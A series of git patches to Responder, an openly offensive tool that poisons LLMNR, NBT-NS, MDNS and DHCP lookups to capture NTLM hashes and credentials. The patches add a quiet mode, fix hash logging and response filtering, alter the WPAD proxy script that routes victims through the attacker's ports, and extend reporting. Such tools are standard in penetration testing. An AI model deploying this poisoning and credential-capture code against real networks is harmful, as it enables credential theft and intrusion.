From e7eb3bcce85c5d437082214c0e8044919cccee56 Mon Sep 17 00:00:00 2001 From: Gustaf Blomqvist Date: Thu, 28 Apr 2022 15:18:13 +0200 Subject: [PATCH 1/9] Fix double logging of first hash or cleartext --- utils.py | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/utils.py b/utils.py index ec38a54..423df33 100755 --- a/utils.py +++ b/utils.py @@ -337,16 +337,10 @@ def SaveToDb(result): logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname) if not count: - with open(logfile,"a") as outf: - if len(result['cleartext']): # If we obtained cleartext credentials, write them to file - outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace'))) - else: # Otherwise, write JtR-style hash string to file - outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n') - cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash'])) cursor.commit() - if settings.Config.CaptureMultipleHashFromSameHost: + if not count or settings.Config.CaptureMultipleHashFromSameHost: with open(logfile,"a") as outf: if len(result['cleartext']): # If we obtained cleartext credentials, write them to file outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace'))) From 2cd66a9b92aa6ca2b7fba0fea03b0a285c186683 Mon Sep 17 00:00:00 2001 From: jb Date: Fri, 29 Jul 2022 18:24:03 +0100 Subject: [PATCH 2/9] Added Quiet mode --- Responder.py | 4 ++++ poisoners/DHCP.py | 6 +++--- poisoners/LLMNR.py | 14 ++++++++------ poisoners/MDNS.py | 6 ++++-- poisoners/NBTNS.py | 5 +++-- settings.py | 7 ++++--- 6 files changed, 26 insertions(+), 16 deletions(-) diff --git a/Responder.py b/Responder.py index 34caa30..aeab473 100755 --- a/Responder.py +++ b/Responder.py @@ -40,6 +40,7 @@ parser.add_option('-u','--upstream-proxy', action="store", help="Upstream H parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False) parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective. Default: False", dest="ProxyAuth_On_Off", default=False) +parser.add_option('-Q','--quiet', action="store_true", help="Tell Responder to be quiet, disables a bunch of printing from the poisoners. Default: False", dest="Quiet", default=False) parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False) parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False) @@ -370,6 +371,9 @@ def main(): if settings.Config.AnalyzeMode: print(color('[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)) + if settings.Config.Quiet_Mode: + print(color('[+] Responder is in quiet mode. No NBT-NS, LLMNR, MDNS messages will print to screen.', 3, 1)) + if settings.Config.DHCP_On_Off: from poisoners.DHCP import DHCP diff --git a/poisoners/DHCP.py b/poisoners/DHCP.py index 599812c..a0e1713 100755 --- a/poisoners/DHCP.py +++ b/poisoners/DHCP.py @@ -256,8 +256,8 @@ def ParseDHCPCode(data, ClientIP,DHCP_DNS): RequestIP = data[245:249] if DHCPClient.count(MacAddrStr) >= 4: - return "'%s' has been poisoned more than 4 times. Ignoring..." % MacAddrStr - + return "'%s' has been poisoned more than 4 times. Ignoring..." % MacAddrStr + if OpCode == b"\x02" and Respond_To_Requests: # DHCP Offer ROUTERIP = ClientIP return 'Found DHCP server IP: %s, now waiting for incoming requests...' % (ROUTERIP) @@ -346,5 +346,5 @@ def DHCP(DHCP_DNS): if SrcPort == 67 or DstPort == 67: ClientIP = socket.inet_ntoa(data[0][26:30]) ret = ParseDHCPCode(data[0][42:], ClientIP,DHCP_DNS) - if ret: + if ret and not settings.Config.Quiet_Mode: print(text("[*] [DHCP] %s" % ret)) diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py index 0952325..3b2e13a 100755 --- a/poisoners/LLMNR.py +++ b/poisoners/LLMNR.py @@ -37,7 +37,7 @@ def IsICMPRedirectPlausible(IP): for line in file: ip = line.split() if len(ip) < 2: - continue + continue elif ip[0] == 'nameserver': dnsip.extend(ip[1:]) for x in dnsip: @@ -76,21 +76,23 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) - LineHeader = "[*] [LLMNR]" - print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) + if not settings.Config.Quiet_Mode: + LineHeader = "[*] [LLMNR]" + print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'LLMNR', 'SentToIp': self.client_address[0], 'ForName': Name, 'AnalyzeMode': '0', }) - + elif LLMNRType == 'IPv6': Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) - LineHeader = "[*] [LLMNR]" - print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) + if not settings.Config.Quiet_Mode: + LineHeader = "[*] [LLMNR]" + print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'LLMNR6', 'SentToIp': self.client_address[0], diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py index a2bf073..4d8338e 100755 --- a/poisoners/MDNS.py +++ b/poisoners/MDNS.py @@ -73,7 +73,8 @@ class MDNS(BaseRequestHandler): Buffer = MDNS_Ans(AnswerName = Poisoned_Name) Buffer.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) - print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) + if not settings.Config.Quiet_Mode: + print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'MDNS', 'SentToIp': self.client_address[0], @@ -86,7 +87,8 @@ class MDNS(BaseRequestHandler): Buffer = MDNS6_Ans(AnswerName = Poisoned_Name) Buffer.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) - print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) + if not settings.Config.Quiet_Mode: + print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'MDNS6', 'SentToIp': self.client_address[0], diff --git a/poisoners/NBTNS.py b/poisoners/NBTNS.py index 0d94126..398eb1f 100755 --- a/poisoners/NBTNS.py +++ b/poisoners/NBTNS.py @@ -47,8 +47,9 @@ class NBTNS(BaseRequestHandler): Buffer1 = NBT_Ans() Buffer1.calculate(data) socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) - LineHeader = "[*] [NBT-NS]" - print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1)) + if not settings.Config.Quiet_Mode: + LineHeader = "[*] [NBT-NS]" + print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'NBT-NS', 'SentToIp': self.client_address[0], diff --git a/settings.py b/settings.py index 59e7216..482eb5f 100755 --- a/settings.py +++ b/settings.py @@ -96,8 +96,8 @@ class Settings: self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP')) self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS')) self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP')) - self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC')) - self.WinRM_On_Off = self.toBool(config.get('Responder Core', 'WINRM')) + self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC')) + self.WinRM_On_Off = self.toBool(config.get('Responder Core', 'WINRM')) self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos')) # Db File @@ -133,9 +133,10 @@ class Settings: self.Bind_To6 = utils.FindLocalIP6(self.Interface, self.OURIP) self.DHCP_DNS = options.DHCP_DNS self.ExternalIP6 = options.ExternalIP6 + self.Quiet_Mode = options.Quiet if self.Interface == "ALL": - self.Bind_To_ALL = True + self.Bind_To_ALL = True else: self.Bind_To_ALL = False #IPV4 From 2765ef4e668bc3493924aae5032e3ec63078ac42 Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 5 Aug 2022 18:51:57 -0300 Subject: [PATCH 3/9] fixed the RespondTo/DontRespondTo issue --- poisoners/LLMNR.py | 4 ++-- poisoners/MDNS.py | 2 +- poisoners/NBTNS.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py index 0952325..8ef4a02 100755 --- a/poisoners/LLMNR.py +++ b/poisoners/LLMNR.py @@ -58,7 +58,7 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class LLMNRType = Parse_IPV6_Addr(data) # Break out if we don't want to respond to this host - if RespondToThisHost(self.client_address[0], Name) is not True: + if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True: return None #IPv4 if data[2:4] == b'\x00\x00' and LLMNRType: @@ -99,4 +99,4 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class }) except: - raise + pass diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py index a2bf073..5b9edb8 100755 --- a/poisoners/MDNS.py +++ b/poisoners/MDNS.py @@ -57,7 +57,7 @@ class MDNS(BaseRequestHandler): MDNSType = Parse_IPV6_Addr(data) # Break out if we don't want to respond to this host - if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True): + if (not Request_Name) or (RespondToThisHost(self.client_address[0].replace("::ffff:",""), Request_Name) is not True): return None if settings.Config.AnalyzeMode: # Analyze Mode diff --git a/poisoners/NBTNS.py b/poisoners/NBTNS.py index 0d94126..77b9059 100755 --- a/poisoners/NBTNS.py +++ b/poisoners/NBTNS.py @@ -31,7 +31,7 @@ class NBTNS(BaseRequestHandler): data, socket = self.request Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45])) # Break out if we don't want to respond to this host - if RespondToThisHost(self.client_address[0], Name) is not True: + if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True: return None if data[2:4] == b'\x01\x10': From 0bc226b4beaa84eb3ac26f5d563959ccf567262b Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 5 Aug 2022 20:27:56 -0300 Subject: [PATCH 4/9] Added: append .local TLD to DontRespondToNames + MDNS bug fix --- poisoners/MDNS.py | 4 ++-- settings.py | 6 ++++-- 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py index 5b9edb8..c0d68e2 100755 --- a/poisoners/MDNS.py +++ b/poisoners/MDNS.py @@ -32,14 +32,14 @@ def Parse_MDNS_Name(data): NameLen_ = data[1+NameLen] Name_ = data[1+NameLen:1+NameLen+NameLen_+1] FinalName = Name+b'.'+Name_ - return FinalName.decode("latin-1") + return FinalName.decode("latin-1").replace("\x05","") else: data = NetworkRecvBufferPython2or3(data[12:]) NameLen = struct.unpack('>B',data[0])[0] Name = data[1:1+NameLen] NameLen_ = struct.unpack('>B',data[1+NameLen])[0] Name_ = data[1+NameLen:1+NameLen+NameLen_+1] - return Name+'.'+Name_ + return Name+'.'+Name_.replace("\x05","") except IndexError: return None diff --git a/settings.py b/settings.py index 59e7216..d21600e 100755 --- a/settings.py +++ b/settings.py @@ -220,8 +220,10 @@ class Settings: self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])) self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')])) self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])) - self.DontRespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')])) - + self.DontRespondToName_= list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')])) + #add a .local to all provided DontRespondToName + self.MDNSTLD = ['.LOCAL'] + self.DontRespondToName = [x+y for x in self.DontRespondToName_ for y in ['']+self.MDNSTLD] #Generate Random stuff for one Responder session self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)]) self.Username = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)]) From 56c3832a3c967084e0b104787a72a9b08d17e0b6 Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 5 Aug 2022 21:21:53 -0300 Subject: [PATCH 5/9] Create FUNDING.yml --- .github/FUNDING.yml | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 .github/FUNDING.yml diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 0000000..25f74ef --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1,3 @@ +github: lgandx +patreon: PythonResponder +custom: 'https://paypal.me/PythonResponder' From 00d9d27089d8f02658b08f596d28d1722c276d57 Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 5 Aug 2022 21:49:48 -0300 Subject: [PATCH 6/9] added requirements.txt --- requirements.txt | 1 + 1 file changed, 1 insertion(+) create mode 100644 requirements.txt diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..7cba2cd --- /dev/null +++ b/requirements.txt @@ -0,0 +1 @@ +netifaces==0.10.4 From c51251db5ff311743238b1675d52edb7c6849f00 Mon Sep 17 00:00:00 2001 From: lgandx Date: Sat, 6 Aug 2022 00:26:11 -0300 Subject: [PATCH 7/9] Fixed potential disruption on Proxy-Auth --- servers/Proxy_Auth.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/servers/Proxy_Auth.py b/servers/Proxy_Auth.py index 23db3f8..8bb6c13 100644 --- a/servers/Proxy_Auth.py +++ b/servers/Proxy_Auth.py @@ -69,9 +69,10 @@ def PacketSequence(data, client, Challenge): GrabUserAgent(data) GrabCookie(data) GrabHost(data) - Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) #While at it, grab some SMB hashes... - Buffer.calculate() - return Buffer + #Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) #While at it, grab some SMB hashes... + #Buffer.calculate() + #Return a TCP RST, so the client uses direct connection and avoids disruption. + return RST else: return IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)# Didn't work? no worry, let's grab hashes via SMB... From 07dbcf5d6d2f56c9b578f887bded9c89e8cf56d8 Mon Sep 17 00:00:00 2001 From: lgandx Date: Sat, 6 Aug 2022 02:49:28 -0300 Subject: [PATCH 8/9] Modified wpad script --- settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/settings.py b/settings.py index ab6d3eb..bae810a 100755 --- a/settings.py +++ b/settings.py @@ -204,7 +204,7 @@ class Settings: self.HtmlToInject = "Loading" if len(self.WPAD_Script) == 0: - self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; PROXY '+self.Bind_To+':3141; DIRECT";}' + self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; PROXY '+self.Bind_To+':3141; DIRECT";}' if self.Serve_Exe == True: if not os.path.exists(self.Html_Filename): From b8818ed0c47d9d615c4ba1dcff99e8d2d98296d5 Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 16 Sep 2022 09:36:51 -0300 Subject: [PATCH 9/9] Added dump by legacy protocols --- Report.py | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/Report.py b/Report.py index 1e8640a..a05e6e7 100755 --- a/Report.py +++ b/Report.py @@ -61,6 +61,14 @@ def GetResponderCompleteHash(cursor): for row in res.fetchall(): print('{0}'.format(row[0])) +def GetUniqueLookupsIP(cursor): + res = cursor.execute("SELECT Poisoner, SentToIp FROM Poisoned WHERE Poisoner in (SELECT DISTINCT UPPER(Poisoner) FROM Poisoned)") + for row in res.fetchall(): + if 'fe80::' in row[1]: + pass + else: + print('Protocol: {0}, IP: {1}'.format(row[0], row[1])) + def GetUniqueLookups(cursor): res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner") for row in res.fetchall(): @@ -99,6 +107,8 @@ print(color("[+] Generating report...\n", code = 3, modifier = 1)) print(color("[+] DHCP Query Poisoned:", code = 2, modifier = 1)) GetUniqueDHCP(cursor) +print(color("\n[+] Unique IP using legacy protocols:", code = 2, modifier = 1)) +GetUniqueLookupsIP(cursor) print(color("\n[+] Unique lookups ordered by IP:", code = 2, modifier = 1)) GetUniqueLookups(cursor) GetStatisticUniqueLookups(cursor)